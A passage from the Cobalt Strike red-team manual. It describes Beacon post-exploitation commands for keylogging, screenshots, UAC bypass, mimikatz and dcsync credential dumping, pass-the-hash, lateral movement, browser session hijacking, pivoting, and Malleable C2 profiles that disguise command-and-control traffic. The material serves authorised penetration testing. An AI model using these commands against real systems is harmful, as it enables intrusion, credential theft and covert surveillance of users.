process. Use keylogger pid x64 to inject into an x64 process. Explorer.exe is a good candidate for this tool. Use keylogger by itself to inject the keystroke logger into a temporary process. The keystroke logger will monitor keystrokes from the injected process and report them to Beacon until the process terminates or you kill the keystroke logger post-exploitation job. Be aware that multiple keystroke loggers may conflict with each other. Use only one keystroke logger per desktop session. To take a screenshot, use screenshot pid to inject the screenshot tool into an x86 process. Use screenshot pid x64 to inject into an x64 process. Again, explorer.exe is a good candidate for this tool. This variant of the screenshot command will take one screenshot and exit. screenshot, by itself, will inject the screenshot tool into a temporary process. Use screenshot pid architecture time to ask the screenshot tool to run for some number of seconds and report a screenshot each time Beacon checks in. This is a handy way to watch a user’s desktop. When Beacon receives new screenshots or keystrokes, it will post a message to the Beacon console. The screenshot and keystroke information is not available through the Beacon console though. Go to View -> Keystrokes to see logged keystrokes across all of your Beacon sessions. Go to View -> Screenshots to browse through screenshots from all of your Beacon sessions. Both of these dialogs update as new information comes in. These dialogs make it easy for one operator to monitor keystrokes and screenshots on all of your Beacon sessions. 7.14 Post-Exploitation Jobs Several Beacon features run as jobs in another process (e.g., the keystroke logger and screenshot tool). These jobs run in the background and report their output when it’s available. Use the jobs command to see which jobs are running in your Beacon. Use jobkill [job number] to kill a job. 7.15 The Process Browser The Process Browser does the obvious; it tasks a Beacon to show a list of processes and shows this information to you. The left-hand side shows the processes organized into a tree. The current process for your Beacon is highlighted yellow. The right-hand side shows the process details. The Process Browser is also a convenient place to impersonate a token from another process, deploy the screenshot tool, or deploy the keystroke logger. Highlight one or more processes and press the appropriate button at the bottom of the tab. www.cobaltstrike.com/ / 50/ Figure 36. Process Browser If you highlight multiple Beacons and task them to show processes, Cobalt Strike will show a Process Browser that also states which host the process comes from. This variant of the Process Browser is a convenient way to deploy Beacon’s post-exploitation tools to multiple systems at once. Simply sort by process name, highlight the interesting processes on your target systems, and press the Screenshot or Log Keystrokes button to deploy these tools to all highlighted systems. 7.16 Desktop Control To interact with a desktop on a target host, go to [beacon] -> Explore -> Desktop (VNC). This will stage a VNC server into the memory of the current process and tunnel the connection through Beacon. When the VNC server is ready, Cobalt Strike will open a tab labeled Desktop HOST@PID. You may also use Beacon’s desktop command to inject a VNC server into a specific process. Use desktop pid architecture low|high. The last parameter let’s you specify a quality for the VNC session. www.cobaltstrike.com/ / 51/ Figure 37. Cobalt Strike Desktop Viewer The bottom of the desktop tab has several buttons. These are: Refresh the screen View only Decrease Zoom Increase Zoom Zoom to 100% Adjust Zoom to Fit Tab Send Ctrl+Escape Lock the Ctrl key Lock the Alt key If you can’t type in a Desktop tab, check the state of the Ctrl and Alt buttons. When either button is pressed, all of your keystrokes are sent with the Ctrl or Alt modifier. Press the Ctrl or Alt button to turn off this behavior. Make sure View only isn’t pressed either. To prevent you from accidentally moving the mouse, View only is pressed by default. www.cobaltstrike.com/ / 52/ 7.17 Privilege Escalation Some post-exploitation commands require system administrator-level rights. Beacon includes several options to help you elevate your access. Elevate with an Exploit Type elevate to list privilege escalation exploits registered with Cobalt Strike. Run elevate [exploit] [listener] to attempt to elevate with a specific exploit. You may also launch one of these exploits through [beacon] -> Access -> Elevate. Use runasadmin, by itself, to list command elevator exploits registered with Cobalt Strike. Run runasadmin [exploit] [command + args] to attempt to run the specified command in an elevated context. Cobalt Strike separates command elevator exploits and session-yielding exploits because some attacks are a natural opportunity to spawn a session. Other attacks yield a “run this command” primitive. Spawning a session from a “run this command” primitive puts a lot of weaponization decisions (not always favorable) in the hands of your tool developer. With runasadmin, it’s your choice to drop an executable to disk and run it, to run a PowerShell one-liner, or to weaken the target in some way. If you’d like to use a PowerShell one-liner to spawn a session, go to [session] -> Access -> One- liner. This dialog will setup a localhost-only webserver within your Beacon session to host a payload stage and return a PowerShell command to download and run this payload stage. This webserver is one-use only. Once it’s connected to once, it will clean itself up and stop serving your payload. If you run a TCP or SMB Beacon with this tool, you will need to use connect or link to assume control of the payload manually. Also, be aware that if you try to use an x64 payload—this will fail if the x86 PowerShell is in your $PATH. Figure 38. PowerShell One-liner Cobalt Strike does not have many built-in elevate options. Exploit development is not a focus of the work at Strategic Cyber LLC. It is easy to integrate privilege escalation exploits via Cobalt Strike’s Aggressor Script programming language though. To see what this looks like, download the Elevate Kit. The Elevate Kit is an Aggressor Script that integrates several open source privilege escalation exploits into Cobalt Strike. https://github.com/rsmudge/ElevateKit www.cobaltstrike.com/ / 53/ Elevate with Known Credentials Use runas [DOMAIN\user] [password] [command] to run a command as another user using their credentials. The runas command will not return any output. You may use runas from a non- privileged context though. Use spawnas [DOMAIN\user] [password] [listener] to spawn a session as another user using their credentials. This command spawns a temporary process and injects your payload stage into it. You may also go to [beacon] -> Access -> Spawn As to run this command as well. With both of these commands, be aware that credentials for a non-SID 500 account will spawn a payload in a medium integrity context. You will need to use Bypass UAC to elevate to a high integrity context. Also, be aware, that you should run these commands from a working folder that the specified account can read. Get SYSTEM Use getsystem to impersonate a token for the SYSTEM account. This level of access may allow you to perform privileged actions that are not possible as an Administrator user. Another way to get SYSTEM is to create a service that runs a payload. The elevate svc-exe [listener] command does this. It will drop an executable that runs a payload, create a service to run it, assume control of the payload, and cleanup the service and executable. UAC Bypass Microsoft introduced User Account Control (UAC) in Windows Vista and refined it in Windows 7. UAC works a lot like sudo in UNIX. Day-to-day a user works with normal privileges. When the user needs to perform a privileged action—the system asks if they would like to elevate their rights. Cobalt Strike ships with a few UAC bypass attacks. These attacks will not work if the current user is not an Administrator. To check if the current user is in the Administrators group, use run whoami /groups. elevate uac-token-duplication [listener] will spawn a temporary process with elevated rights and inject a payload stage into it. This attack uses a UAC-loophole that allows a non-elevated process to launch an arbitrary process with a token stolen from an elevated process. This loophole requires the attack to remove several rights assigned to the elevated token. The abilities of your new session will reflect these restricted rights. If Always Notify is at its highest setting, this attack requires that an elevated process is already running in the current desktop session (as the same user). This attack works on Windows 7 and Windows 10 prior to the November 2018 update. runasadmin uac-token-duplication [command] is the same attack described above, but this variant runs a command of your choosing in an elevated context. runasadmin uac-cmstplua [command] will attempt to bypass UAC and run a command in an elevated context. This attack relies on a COM object that automatically elevates from certain process contexts (Microsoft signed, lives in c:\windows\*). www.cobaltstrike.com/ / 54/ Privileges Type getprivs to enable the privileges assigned to your current access token. 7.18 Mimikatz Beacon integrates mimikatz. Use the mimikatz command to pass any command to mimikatz’s command dispatcher. For example, mimikatz standard::coffee will give you a cup of coffee. Beacon will take care to inject a mimikatz instance that matches the native architecture of your target. Some mimikatz commands must run as SYSTEM to work. Prefix a command with a ! to force mimikatz to elevate to SYSTEM before it runs your command. For example, mimikatz !lsa::cache will recover salted password hashes cached by the system. Once in awhile, you may need to run a mimikatz command with Beacon’s current access token. Prefix a command with a @ to force mimikatz to impersonate Beacon’s current access token. For example, mimikatz @lsadump::dcsync will run the dcsync command in mimikatz with Beacon’s current access token. 7.19 Credential and Hash Harvesting To dump hashes, go to [beacon] -> Access -> Dump Hashes. You may also use the hashdump command from the Beacon console. These commands will spawn a job that injects into LSASS and dumps the password hashes for local users on the current system. The logonpasswords command will use mimikatz to recover plaintext passwords and hashes for users who are logged on to the current system. The logonpasswords command is the same as [beacon] -> Access -> Run Mimikatz. Use dcsync [DOMAIN.FQDN] to pull password hashes for all accounts from a domain controller. This technique uses Windows APIs built to sync information between domain controllers. It requires a domain administrator trust relationship. Beacon uses mimikatz to execute this technique. Use dcsync [DOMAIN.FQDN] [DOMAIN\user], if you want a specific password hash. Credentials dumped with these commands are collected by Cobalt Strike and stored in the credentials data model. Go to View -> Credentials to pull up the credentials on the current team server. 7.20 Port Scanning Beacon has a built in port scanner. Use portscan [targets] [ports] [discovery method] to start the port scanner job. You may specify a comma-separated list of target ranges. The same goes for ports as well. For example, portscan 172.16.48.0/24 1-1024,8080 will scan hosts 172.16.48.0 through 172.16.48.255 on ports 1 to 1024 and 8080. There are three target discovery options. The arp method uses an ARP request to discover if a host is alive or not. The icmp method sends an ICMP echo request to check if a target is alive. The none option tells the portscan tool to assume that all hosts are alive. www.cobaltstrike.com/ / 55/ The port scanner will run, in between Beacon check ins. When it has results to report, it will send them to the Beacon console. Cobalt Strike will process this information and update the targets model with the discovered hosts. 7.21 Network and Host Enumeration Beacon’s net module provides tools to interrogate and discover targets in a Windows active directory network. Use the net dclist command to find the domain controller for the domain the target is joined to. Use the net view command to find targets on the domain the target is joined to. Both of these commands populate the targets model as well. The net computers command finds targets by querying computer account groups on a Domain Controller. The commands in Beacon’s net module are built on top of the Windows Network Enumeration APIs. Most of these commands are direct replacements for many of the built-in net commands in Windows. There are also a few unique capabilities here as well. For example, use net localgroup \\TARGET to list the groups on another system. Use net localgroup \\TARGET group name to list the members of a group on another system. These commands are great during lateral movement when you have to find who is a local admin on another system. Use help net to get a list of all the commands in Beacon’s net module. Use help net command to get help for each individual command. 7.22 Trust Relationships The heart of Windows single sign-on is the access token. When a user logs onto a Windows host, an access token is generated. This token contains information about the user and their rights. The access token also holds information needed to authenticate the current user to another system on the network. Impersonate or generate a token and Windows will use its information to authenticate to a network resource for you. Use steal_token [process id] to impersonate a token from an existing process. If you’d like to see which processes are running use ps. The getuid command will print your current token. Use rev2self to revert back to your original token. If you know credentials for a user; use make_token [DOMAIN\user] [password] to generate a token that passes these credentials. This token is a copy of your current token with modified single sign-on information. It will show your current username. This is expected behavior. Use mimikatz to pass-the-hash with Beacon. The Beacon command pth [DOMAIN\user] [ntlm hash] will create and impersonate an access token to pass the specified hash. Beacon’s Make Token dialog ([beacon] -> Access -> Make Token) is a front-end for these commands. It will present the contents of the credential model and it will use the right command to turn the selected credential entry into an access token. Kerberos Tickets Use kerberos_ticket_use [/path/to/ticket] to inject a Kerberos ticket into the current session. This will allow Beacon to interact with remote systems using the rights in this ticket. Try this with a Golden Ticket generated by mimikatz 2.0. www.cobaltstrike.com/ / 56/ Use kerberos_ticket_purge to clear any kerberos tickets associated with your session. 7.23 Lateral Movement Once you have a token for a domain admin or a domain user who is a local admin on a target, you may abuse this trust relationship to get control of the target. Cobalt Strike’s Beacon has several built-in options for lateral movement. Type jump to list lateral movement options registered with Cobalt Strike. Run jump [module] [target] [listener] to attempt to run a payload on a remote target. Jump Module Arch Description psexec x86 Use a service to run a Service EXE artifact psexec64 x64 Use a service to run a Service EXE artifact psexec_psh x86 Use a service to run a PowerShell one-liner winrm x86 Run a PowerShell script via WinRM winrm64 x64 Run a PowerShell script via WinRM Run remote-exec, by itself, to list remote execution modules registered with Cobalt Strike. Use remote-exec [module] [target] [command + args] to attempt to run the specified command on a remote target. Remote-exec Module Description psexec Remote execute via Service Control Manager winrm Remote execute via WinRM (PowerShell) wmi Remote execute via WMI (PowerShell) Lateral movement is an area, similar to privilege escalation, where some attacks present a natural set of primitives to spawn a session on a remote target. Some attacks give an execute-primitive only. The split between jump and remote-exec gives you flexibility to decide how to weaponize an execute-only primitive. Aggressor Script has an API to add new modules to jump and remote-exec. See the Aggressor Script documentation (the Beacon chapter, specifically) for more information. www.cobaltstrike.com/ / 57/ 7.24 Lateral Movement GUI Cobalt Strike also provides a GUI to make lateral movement easier. Switch to the Targets Visualization or go to View -> Targets. Navigate to [target] -> Jump and choose your desired lateral movement option. The following dialog will open: Figure 39. Lateral Movement Dialog To use this dialog: First, decide which trust you want to use for lateral movement. If you want to use the token in one of your Beacons, check the Use session’s current access token box. If you want to use credentials or hashes for lateral movement—that’s OK too. Select credentials from the credential store or populate the User, Password, and Domain fields. Beacon will use this information to generate an access token for you. Keep in mind, you need to operate from a high integrity context [administrator] for this to work. Next, choose the listener to use for lateral movement. The SMB Beacon is usually a good candidate here. Last, select which session you want to perform the lateral movement attack from. Cobalt Strike’s asynchronous model of offense requires each attack to execute from a compromised system. There is no option to perform this attack without a Beacon session to attack from. If you’re on an internal engagement, consider hooking a Windows system that you control and use that as your starting point to attack other systems with credentials or hashes. Press Launch. Cobalt Strike will activate the tab for the selected Beacon and issue commands to it. Feedback from the attack will show up in the Beacon console. www.cobaltstrike.com/ / 58/ 8. Browser Pivoting 8.1 Overview Malware like Zeus and its variants inject themselves into a user’s browser to steal banking information. This is a man-in-the-browser attack. So-called, because the attacker is injecting malware into the target’s browser. Man-in-the-browser malware uses two approaches to steal banking information. They either capture form data as it’s sent to a server. For example, malware might hook PR_Write in Firefox to intercept HTTP POST data sent by Firefox. Or, they inject JavaScript onto certain webpages to make the user think the site is requesting information that the attacker needs. Cobalt Strike offers a third approach for man-in-the-browser attacks. It lets the attacker hijack authenticated web sessions—all of them. Once a user logs onto a site, an attacker may ask the user’s browser to make requests on their behalf. Since the user’s browser is making the request, it will automatically re-authenticate to any site the user is already logged onto. I call this a browser pivot—because the attacker is pivoting their browser through the compromised user’s browser. Figure 40. Browser Pivoting in Action Cobalt Strike’s implementation of browser pivoting for Internet Explorer injects an HTTP proxy server into the compromised user’s browser. Do not confuse this with changing the user’s proxy settings. This proxy server does not affect how the user gets to a site. Rather, this proxy server is available to the attacker. All requests that come through it are fulfilled by the user’s browser. www.cobaltstrike.com/ / 59/ 8.2 Setup To setup Browser pivoting, go to [beacon] -> Explore -> Browser Pivot. Choose the Internet Explorer instance that you want to inject into. You may also decide which port to bind the browser pivoting proxy server to as well. Figure 41. Start a Browser Pivot Beware that the process you inject into matters a great deal. Inject into Internet Explorer to inherit a user’s authenticated web sessions. Modern versions of Internet Explorer spawn each tab in its own process. If your target uses a modern version of Internet Explorer, you must inject a process associated with an open tab to inherit session state. Which tab process doesn’t matter (child tabs share session state). Identify Internet Explorer tab processes by looking at the PPID value in the Browser Pivoting setup dialog. If the PPID references explorer.exe, the process is not associated with a tab. If the PPID references iexplore.exe, the process is associated with a tab. Cobalt Strike will show a checkmark next to the processes it thinks you should inject into. Once Browser Pivoting is setup, set up your web browser to use the Browser Pivot Proxy server. Remember, Cobalt Strike’s Browser Pivot server is an HTTP proxy server. Figure 42. Configure Browser Settings www.cobaltstrike.com/ / 60/ 8.3 Use You may browse the web as your target user once browser pivoting is started. Beware that the browser pivoting proxy server will present its SSL certificate for SSL-enabled websites you visit. This is necessary for the technology to work. The browser pivoting proxy server will ask you to add a host to your browser’s trust store when it detects an SSL error. Add these hosts to the trust store and press refresh to make SSL protected sites load properly. If your browser pins the certificate of a target site, you may find its impossible to get your browser to accept the browser pivoting proxy server’s SSL certificate. This is a pain. One option is to use a different browser. The open source Chromium browser has a command-line option to ignore all certificate errors. This is ideal for browser pivoting use: chromium --ignore-certificate-errors --proxy-server=[host]:[port] To stop the Browser Pivot proxy server, type browserpivot stop in its Beacon console. You will need to reinject the browser pivot proxy server if the user closes the tab you’re working from. The Browser Pivot tab will warn you when it can’t connect to the browser pivot proxy server in the browser. 8.4 How it Works Internet Explorer delegates all of its communication to a library called WinINet. This library, which any program may use, manages cookies, SSL sessions, and server authentication for its consumers. Cobalt Strike’s Browser Pivoting takes advantage of the fact that WinINet transparently manages authentication and reauthentication on a per process basis. By injecting Cobalt Strike’s Browser Pivoting technology into a user’s Internet Explorer instance, you get this transparent reauthentication for free. www.cobaltstrike.com/ / 61/ 9. Pivoting 9.1 What is Pivoting Pivoting, for the sake of this manual, is turning a compromised system into a hop point for other attacks and tools. Cobalt Strike’s Beacon provides several pivoting options. For each of these options, you will want to make sure your Beacon is in interactive mode. Interactive mode is when a Beacon checks in multiple times each second. Use the sleep 0 command to put your Beacon into interactive mode. 9.2 SOCKS Proxy Go to [beacon] -> Pivoting -> SOCKS Server to setup a SOCKS4a proxy server on your team server. Or, use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). All connections that go through these SOCKS servers turn into connect, read, write, and close tasks for the associated Beacon to execute. You may tunnel via SOCKS through any type of Beacon (even an SMB Beacon). Beacon’s HTTP data channel is the most responsive for pivoting purposes. If you’d like to pivot traffic over DNS, use the DNS TXT record communication mode. To see the SOCKS servers that are currently setup, go to View -> Proxy Pivots. Use socks stop to disable the SOCKS proxy server. Proxychains The proxychains tool will force an external program to use a SOCKS proxy server that you designate. You may use proxychains to force third-party tools through Cobalt Strike’s SOCKS server. To learn more about proxychains, visit: • http://proxychains.sourceforge.net// Metasploit You may also tunnel Metasploit Framework exploits and modules through Beacon. Create a Beacon SOCKS proxy server [as described above] and paste the following into your Metasploit Framework console: setg Proxies socks4:team server IP:proxy port setg ReverseAllowProxy true These commands will instruct the Metasploit Framework to apply your Proxies option to all modules executed from this point forward. Once you’re done pivoting through Beacon in this way, use unsetg Proxies to stop this behavior. www.cobaltstrike.com/ / 62/ If you find the above tough to remember, go to View -> Proxy Pivots. Highlight the proxy pivot you setup and press Tunnel. This button will provide the setg Proxies syntax needed to tunnel the Metasploit Framework through your Beacon. 9.3 Reverse Port Forward Use the rportfwd command to setup a reverse pivot through Beacon. The rportfwd command will bind a port on the compromised target. Any connections to this port will cause your Cobalt Strike server to initiate a connection to another host and port and relay traffic between these two connections. Cobalt Strike tunnels this traffic through Beacon. The syntax for rportfwd is: rportfwd [bind port] [forward host] [forward port]. Use rportfwd stop [bind port] to disable the reverse port forward. 9.4 Pivot Listeners It’s good tradecraft to limit the number of direct connections from your target’s network to your command and control infrastructure. A pivot listener allows you to create a listener that is bound to a Beacon or SSH session. In this way, you can create new reverse sessions without more direct connections to your command and control infrastructure. To setup a pivot listener, go to [beacon] -> Pivoting -> Listener…. This will open a dialog where you may define a new pivot listener. Figure 43. Configure a Pivot Listener A pivot listener will bind to Listen Port on the specified Session. The Listen Host value configures the address your reverse TCP payload will use to connect to this listener. Right now, the only payload option is windows/beacon_reverse_tcp. Pivot Listeners do not change the pivot host’s firewall configuration. If a pivot host has a host- based firewall, this may interfere with your listener. You, the operator, are responsible for anticipating this situation and taking the right steps for it. To remove a pivot listener, go to Cobalt Strike -> Listeners and remove the listener there. Cobalt Strike will send a task to tear down the listening socket, if the session is still reachable. www.cobaltstrike.com/ / 63/ 9.5 Covert VPN VPN pivoting is a flexible way to tunnel traffic without the limitations of a proxy pivot. Cobalt Strike offers VPN pivoting through its Covert VPN feature. Covert VPN creates a network interface on the Cobalt Strike system and bridges this interface into the target’s network. Figure 44. Deploy Covert VPN To activate Covert VPN, right-click a compromised host, go to [beacon] -> Pivoting -> Deploy VPN. Select the remote interface you would like Covert VPN to bind to. If no local interface is present, press Add to create one. Check Clone host MAC address to make your local interface have the same MAC address as the remote interface. It’s safest to leave this option checked. Press Deploy to start the Covert VPN client on the target. Covert VPN requires Administrator access to deploy. Once a Covert VPN interface is active, you may use it like any physical interface on your system. Use ifconfig to configure its IP address. If your target network has a DHCP server, you may request an IP address from it using your operating systems built-in tools. To manage your Covert VPN interfaces, go to Cobalt Strike -> Interfaces. Here, Cobalt Strike will show the Covert VPN interfaces, how they’re configured, and how many bytes were transmitted and received through each interface. Highlight an interface and press Remove to destroy the interface and close the remote Covert VPN client. Covert VPN will remove its temporary files on reboot and it automatically undoes any system changes right away. Press Add to configure a new Covert VPN interface. www.cobaltstrike.com/ / 64/ Figure 45. Setup a Covert VPN Interface Covert VPN interfaces consist of a network tap and a channel to communicate 64thernet frames through. To configure the interface, choose an Interface name (this is what you will manipulate through ifconfig later) and a MAC address. You must also configure the Covert VPN communication channel for your interface. Covert VPN may communicate Ethernet frames over a UDP connection, TCP connection, ICMP, or using the HTTP protocol. The TCP (Reverse) channel has the target connect to your Cobalt Strike instance. The TCP (Bind) channel has Cobalt Strike tunnel the VPN through Beacon. Cobalt Strike will setup and manage communication with the Covert VPN client based on the Local Port and Channel you select. The Covert VPN HTTP channel makes use of the Cobalt Strike web server. You may host other Cobalt Strike web applications and multiple Covert VPN HTTP channels on the same port. For best performance, use the UDP channel. The UDP channel has the least amount of overhead compared to the TCP and HTTP channels. Use the ICMP, HTTP, or TCP (Bind) channels if you need to get past a restrictive firewall. While Covert VPN has a flexibility advantage, your use of a VPN pivot over a proxy pivot will depend on the situation. Covert VPN requires Administrator access. A proxy pivot does not. Covert VPN creates a new communication channel. A proxy pivot does not. You should use a proxy pivot initially and move to a VPN pivot when it’s needed. www.cobaltstrike.com/ / 65/ 10. SSH Sessions 10.1 The SSH Client Cobalt Strike controls UNIX targets with a built-in SSH client. This SSH client receives tasks from and routes its output through a parent Beacon. Use ssh [target] [user] [password] to launch an SSH session from a Beacon. You may also use ssh-key [target] [user] [/path/to/key.pem] to authenticate with a key. These commands run Cobalt Strike’s SSH client. The client will report any connection or authentication issues to the parent Beacon. If the connection succeeds, you will see a new session in Cobalt Strike’s display. This is an SSH session. Right-click on this session and press Interact to open the SSH console. Type help to see a list of commands the SSH session supports. Type help followed by a command name for details on that command. 10.2 Running Commands The shell command will run the command and arguments you provide. Running commands block the SSH session for up to 20s before Cobalt Strike puts the command in the background. Cobalt Strike will report output from these long running commands as it becomes available. Use sudo [password] [command + arguments] to attempt to run a command via sudo. This alias requires the target’s sudo to accept the –S flag. The cd command will change the current working directory for the SSH session. The pwd command reports the current working directory. 10.3 Upload and Download Files The upload command will upload a file to the current working directory. The download command will download a file. Files downloaded with the download command are available under View -> Downloads. You may also type downloads to see file downloads in progress. The cancel command will cancel a download that’s in progress. 10.4 Peer-to-peer C2 SSH sessions can control TCP Beacons. Use the connect command to assume control of a TCP Beacon waiting for a connection. Use unlink to disconnect a TCP Beacon session. Go to [session] -> Listeners -> Pivot Listener… to setup a pivot listener tied to this SSH session. This will allow this compromised UNIX target to receive reverse TCP Beacon sessions. This option does require that the SSH daemon’s GatewayPorts option is set to yes or ClientSpecified. www.cobaltstrike.com/ / 66/ 10.5 SOCKS Pivoting and Reverse Port Forwards Use the socks command to create a SOCKS server on your team server that forwards traffic through the SSH session. The rportfwd command will also create a reverse port forward that routes traffic through the SSH session and your Beacon chain. There is one caveat to rportfwd: the rportfwd command asks the SSH daemon to bind to all interfaces. It’s quite likely the SSH daemon will override this and force the port to bind to localhost. You need to change the GatewayPorts option for the SSH daemon to yes or clientspecified. www.cobaltstrike.com/ / 67/ 11. Malleable Command and Control 11.1 Overview Many Beacon indicators are controlled by a Malleable C2 profile. A Malleable C2 profile consists of settings and data transforms. A data transform is a simple program that specifies how to transform data and store it in a transaction. The same program that transforms and stores data, interpreted backwards, also extracts and recovers data from a transaction. To use a custom profile, you must start a Cobalt Strike team server and specify your profile at that time. ./teamserver [external IP] [password] [/path/to/my.profile] You may only load one profile per Cobalt Strike instance. 11.2 Checking for Errors Cobalt Strike’s Linux package includes a c2lint program. This program will check the syntax of a communication profile, apply a few extra checks, and even unit test your profile with random data. It’s highly recommended that you check your profiles with this tool before you load them into Cobalt Strike. ./c2lint [/path/to/my.profile] 11.3 Profile Language The best way to create a profile is to modify an existing one. Several example profiles are available on Github: • https://github.com/rsmudge/Malleable-C2-Profiles/ When you open a profile, here is what you will see: # this is a comment set global_option "value"; protocol-transaction { set local_option "value"; client { # customize client indicators } server { # customize server indicators } } www.cobaltstrike.com/ / 68/ Comments begin with a # and go until the end of the line. The set statement is a way to assign a value to an option. Profiles use { curly braces } to group statements and information together. Statements always end with a semi-colon. To help all of this make sense, here’s a partial profile: http-get { set uri "/foobar"; client { metadata { base64; prepend "user="; header "Cookie"; } } This partial profile defines indicators for an HTTP GET transaction. The first statement, set uri, assigns the URI that the client and server will reference during this transaction. This set statement occurs outside of the client and server code blocks because it applies to both of them. The client block defines indicators for the client that performs an HTTP GET. The client, in this case, is Cobalt Strike’s Beacon payload. When Cobalt Strike’s Beacon “phones home” it sends metadata about itself to Cobalt Strike. In this profile, we have to define how this metadata is encoded and sent with our HTTP GET request. The metadata keyword followed by a group of statements specifies how to transform and embed metadata into our HTTP GET request. The group of statements, following the metadata keyword, is called a data transform. Step Action Data 0. Start metadata 1. base64 Base64 Encode bWV0YWRhdGE= 2. prepend "user=" Prepend String user=bWV0YWRhdGE= 3. header "Cookie" Store in Transaction The first statement in our data transform states that we will base64 encode our metadata [1]. The second statement, prepend, takes our encoded metadata and prepends the string user= to it [2]. Now our transformed metadata is “user=“ . base64(metadata). The third statement states we will store our transformed metadata into a client HTTP header called Cookie [3]. That’s it. Both Beacon and its server consume profiles. Here, we’ve read the profile from the perspective of the Beacon client. The Beacon server will take this same information and interpret it www.cobaltstrike.com/ / 69/ backwards. Let’s say our Cobalt Strike web server receives a GET request to the URI /foobar. Now, it wants to extract metadata from the transaction. Step Action Data 0. Start 1. header "Cookie" Recover from Transaction user=bWV0YWRhdGE= 2. prepend "user=" Remove first 5 characters bWV0YWRhdGE= 3. base64 Base64 Decode metadata The header statement will tell our server where to recover our transformed metadata from [1]. The HTTP server takes care to parse headers from the HTTP client for us. Next, we need to deal with the prepend statement. To recover transformed data, we interpret prepend as remove the first X characters [2], where X is the length of the original string we prepended. Now, all that’s left is to interpret the last statement, base64. We used a base64 encode function to transform the metadata before. Now, we use a base64 decode to recover the metadata [3]. We will have the original metadata once the profile interpreter finishes executing each of these inverse statements. Data Transform Language A data transform is a sequence of statements that transform and transmit data. The data transform statements are: Statement Action Inverse append "string" Append "string" Remove last LEN(“string”) characters base64 Base64 Encode Base64 Decode base64url URL-safe Base64 Encode URL-safe Base64 Decode mask XOR mask w/ random key XOR mask w/ same random key netbios NetBIOS Encode ‘a’ NetBIOS Decode ‘a’ netbiosu NetBIOS Encode ‘A’ NetBIOS Decode ‘A’ prepend "string" Prepend "string" Remove first LEN(“string”) characters A data transform is a combination of any number of these statements, in any order. For example, you may choose to netbios encode the data to transmit, prepend some information, and then base64 encode the whole package. A data transform always ends with a termination statement. You may only use one termination statement in a transform. This statement tells Beacon and its server where in the transaction to store the transformed data. www.cobaltstrike.com/ / 70/ There are four termination statements. Statement What header “header” Store data in an HTTP header parameter “key” Store data in a URI parameter print Send data as transaction body uri-append Append to URI The header termination statement stores transformed data in an HTTP header. The parameter termination statement stores transformed data in an HTTP parameter. This parameter is always sent as part of URI. The print statement sends transformed data in the body of the transaction. The print statement is the expected termination statement for the http-get.server.output, http- post.server.output, and http-stager.server.output blocks. You may use the header, parameter, print and uri-append termination statements for the other blocks. If you use a header, parameter, or uri-append termination statement on http-post.client.output, Beacon will chunk its responses to a reasonable length to fit into this part of the transaction. These blocks and the data they send are described in a later section. Strings Beacon’s Profile Language allows you to use “strings” in several places. In general, strings are interpreted as-is. However, there are a few special values that you may use in a string: Value Special Value “\n” Newline character “\r” Carriage Return “\t” Tab character “\u####” A unicode character “\x##” A byte (e.g., \x41 = ‘A’) “\\” \ Headers and Parameters Data transforms are an important part of the indicator customization process. They allow you to dress up data that Beacon must send or receive with each transaction. You may add extraneous indicators to each transaction too. In an HTTP GET or POST request, these extraneous indicators come in the form of headers or parameters. Use the parameter statement within the client block to add an arbitrary parameter to an HTTP GET or POST transaction. www.cobaltstrike.com/ / 71/ This code will force Beacon to add ?bar=blah to the /foobar URI when it makes a request. http-get { client { parameter "bar" "blah"; Use the header statement within the client or server blocks to add an arbitrary HTTP header to the client’s request or server’s response. This header statement adds an indicator to put network security monitoring teams at ease. http-get { server { header "X-Not-Malware" "I promise!"; The Profile Interpreter will Interpret your header and parameter statements In order. That said, the WinINet library (client) and Cobalt Strike web server have the final say about where in the transaction these indicators will appear. Options You may configure Beacon’s defaults through the profile file. There are two types of options: global and local options. The global options change a global Beacon setting. Local options are transaction specific. You must set local options in the right context. Use the set statement to set an option. set "sleeptime" "1000"; Here are a few options: Option Context Default Value Changes dns_idle 0.0.0.0 IP address used to indicate no tasks are available to DNS Beacon; Mask for other DNS C2 values dns_max_txt 252 Maximum length of DNS TXT responses for tasks dns_sleep 0 Force a sleep prior to each individual DNS request. (in milliseconds) dns_stager_prepend Prepend text to payload stage delivered to DNS TXT record stager dns_stager_subhost .stage.123456. Subdomain used by DNS TXT record stager. dns_ttl 1 TTL for DNS replies host_stage true Host payload for staging over HTTP, HTTPS, or DNS. www.cobaltstrike.com/ / 72/ Required by stagers. jitter 0 Default jitter factor (0-99%) maxdns 255 Maximum length of hostname when uploading data over DNS (0-255) pipename msagent_## Default name of pipe to use for SMB Beacon’s peer-to- peer communication. ## is replaced with a number unique to your team server. pipename_stager status_## Name of pipe to use for SMB Beacon’s named pipe stager. ## is replaced with a number. sample_name My Profile The name of this profile (used in the Indicators of Compromise report) sleeptime 60000 Default sleep time (in milliseconds) smb_frame_header Prepend header to SMB Beacon messages ssh_banner Cobalt Strike 4.1 SSH client banner tcp_frame_header Prepend header to TCP Beacon messages tcp_port 4444 Default TCP Beacon listen port uri http-get, http-post [required option] Transaction URI uri_x86 http-stager x86 payload stage URI uri_x64 http-stager x64 payload stage URI useragent Internet Explorer (Random) Default User-Agent for HTTP comms. verb http-get, http-post GET, POST HTTP Verb to use for transaction With the uri option, you may specify multiple URIs as a space separated string. Cobalt Strike’s web server will bind all of these URIs and it will assign one of these URIs to each Beacon host when the Beacon stage is built. Even though the useragent option exists; you may use the header statement to override this option. 11.4 HTTP Staging Beacon is a staged payload. This means the payload is downloaded by a stager and injected into memory. Your http-get and http-post indicators will not take effect until Beacon is in memory on your target. Malleable C2’s http-stager block customizes the HTTP staging process. www.cobaltstrike.com/ / 73/ http-stager { set uri_x86 "/get32.gif"; set uri_x64 "/get64.gif"; The uri_x86 option sets the URI to download the x86 payload stage. The uri_x64 option sets the URI to download the x64 payload stage. client { parameter "id" "1234"; header "Cookie" "SomeValue"; } The client keyword under the context of http-stager defines the client side of the HTTP transaction. Use the parameter keyword to add a parameter to the URI. Use the header keyword to add a header to the stager’s HTTP GET request. server { header "Content-Type" "image/gif"; output { prepend "GIF89a"; print; } } } The server keyword under the context of http-stager defines the server side of the HTTP transaction. The header keyword adds a server header to the server’s response. The output keyword under the server context of http-stager is a data transform to change the payload stage. This transform may only prepend and append strings to the stage. Use the print termination statement to close this output block. 11.5 A Beacon HTTP Transaction Walk-through To put all of this together, it helps to know what a Beacon transaction looks like and which data is sent with each request. A transaction starts when a Beacon makes an HTTP GET request to Cobalt Strike’s web server. At this time, Beacon must send 